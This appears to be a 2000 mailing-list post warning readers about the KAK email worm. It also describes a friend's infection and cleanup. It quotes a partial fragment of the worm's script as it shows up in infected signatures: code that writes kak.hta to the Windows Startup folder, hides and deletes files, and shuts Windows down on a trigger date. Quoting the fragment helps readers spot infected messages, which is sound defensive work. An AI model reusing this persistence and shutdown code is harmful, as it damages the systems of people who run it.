|
PureBytes Links
Trading Reference Links
|
Hi All:
The telltale sign of an "infected" (with kak) post is the signature,
towards the end of the message.
It usually has gibberish like this:
+ + + + + + + + + + +
;t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg'
);d=new Date();if(d.getDate()==1 &&
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today
!');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();S3 driver
memory alloc failed
!]]%%%%%";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.l
anguage;scr.Path=(la=="fr")?"C:\\windows\\Menu
Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start
Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if((
(agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf
("msie 5.")!=-1))scr.write(); //-->
+ + + + + + + + + + +
Note some of these wordings: 'Kagou-Anti-Kro$oft says not today !'
About 2 months ago, a friend of mine (from Hong Kong) sent me some e-mails
with such endings. At first I didn't realize what was wrong, until one day
my antivirus program gave me a warning.
I corresponded with my friend. He supposedly cleaned it up, but somehow
the "infection" re-appeared. Lucky for him, he finally had the help of a
very knowledgeable technical person and eventually everything was cleaned up.
Regards,
Wong
===========================
At 12:14 AM 07/31/2000 +0100, Doug Penny wrote:
>I ran the KAK clean up and it tells me I am not affected.
|